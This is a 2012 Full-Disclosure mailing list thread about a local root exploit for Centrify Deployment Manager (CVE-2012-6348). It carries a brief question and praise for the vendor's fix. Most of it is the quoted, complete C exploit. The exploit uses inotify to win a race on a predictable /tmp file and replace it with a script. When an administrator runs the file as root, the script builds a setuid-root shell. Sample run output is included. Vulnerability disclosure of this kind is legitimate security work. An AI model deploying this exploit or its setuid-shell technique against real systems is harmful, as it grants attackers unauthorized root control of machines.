full-disclosure - Re: Local root exploit for Centrify Deployment Manager

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Date: Wed, 19 Dec 2012 14:27:30 +0100
From: Alexander Georgiev <alexander.georgiev@...oo.de>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Local root exploit for Centrify Deployment
 Manager < v2.1.0.283 local root

Could you explain me how it works? It looks like you create a file,
which will be chown'd to root by the system, right?



Am 18.12.2012 21:56, schrieb Larry W. Cashdollar:
> These guys were really cool about it, probably one of the best vendor
> responses I've gotten.  I am seeing if
> I can go to the next iteration of training. =-> 
>
> On Dec 18, 2012, at 12:51 PM, Jeffrey Walton <noloader@...il.com> wrote:
>
>> I've got a feeling you will not be sent to anymore vendor classes :)
>>
>> On Tue, Dec 18, 2012 at 3:49 PM, Larry W. Cashdollar <larry0@...com
>> <mailto:larry0@...com>> wrote:
>> > /*Local root exploit for Centrify Deployment Manager v2.1.0.283
>> local root,
>> > Centrify released a fix very quickly - nice vendor response.
>> >
>> > http://vapid.dhs.org/exploits/centrify_local_r00t.c
>> >
>> > CVE-2012-6348 12/17/2012
>> >
>> http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html
>> > Greetings vladz, Thanks for the inotify & syscall technique.
>> >
>> > This exploit based on http://vladz.devzero.fr/010_bzexe-vuln.php
>> >
>> > Run the exploit and wait for administrator to analyse or deploysoftware
>> > to the system.
>> >
>> > larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0
>> > [*] Launching attack against "centrify.cmd.0"
>> > [+] Creating evil script (/tmp/evil)
>> > [+] Creating target file (/bin/touch /tmp/centrify.cmd.0)
>> > [+] Initialize inotify
>> > [+] Waiting for root to launch "centrify.cmd.0"
>> > [+] Opening root shell (/tmp/sh)
>> > #
>> >
>> > Larry W. Cashdollar
>> > @_larry0
>> > */
>> >
>> >
>> > #include <stdlib.h>
>> > #include <stdio.h>
>> > #include <unistd.h>
>> > #include <sys/stat.h>
>> > #include <sys/types.h>
>> > #include <string.h>
>> > #include <sys/inotify.h>
>> > #include <fcntl.h>
>> > #include <sys/syscall.h>
>> >
>> > /*Create a small c program to pop us a root shell*/
>> > int create_nasty_shell(char *file) {
>> > char *s = "#!/bin/bash\n"
>> > "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
>> > "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
>> > "chmod 4755 /tmp/sh;\n";
>> >
>> > int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
>> > write(fd, s, strlen(s));
>> > close(fd);
>> >
>> > return 0;
>> > }
>> >
>> >
>> > int main(int argc, char **argv) {
>> > int fd, wd;
>> > char buf[1], *targetpath, *cmd,
>> > *evilsh = "/tmp/evil", *trash = "/tmp/trash";
>> >
>> > if (argc < 2) {
>> > printf("Usage: %s <target file> \n", argv[0]);
>> > return 1;
>> > }
>> >
>> > printf("[*] Launching attack against \"%s\"\n", argv[1]);
>> >
>> > printf("[+] Creating evil script (/tmp/evil)\n");
>> > create_nasty_shell(evilsh);
>> >
>> > targetpath = malloc(sizeof(argv[1]) + 6);
>> > cmd = malloc(sizeof(char) * 32);
>> > sprintf(targetpath, "/tmp/%s", argv[1]);
>> > sprintf(cmd,"/bin/touch %s",targetpath);
>> > printf("[+] Creating target file (%s)\n",cmd);
>> > system(cmd);
>> >
>> > printf("[+] Initialize inotify\n");
>> > fd = inotify_init();
>> > wd = inotify_add_watch(fd, targetpath, IN_ATTRIB);
>> >
>> > printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]);
>> > syscall(SYS_read, fd, buf, 1);
>> > syscall(SYS_rename, targetpath, trash);
>> > syscall(SYS_rename, evilsh, targetpath);
>> >
>> > inotify_rm_watch(fd, wd);
>> >
>> > printf("[+] Opening root shell (/tmp/sh)\n");
>> > sleep(2);
>> > system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
>> >
>> > return 0;
>> > }
>
>
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/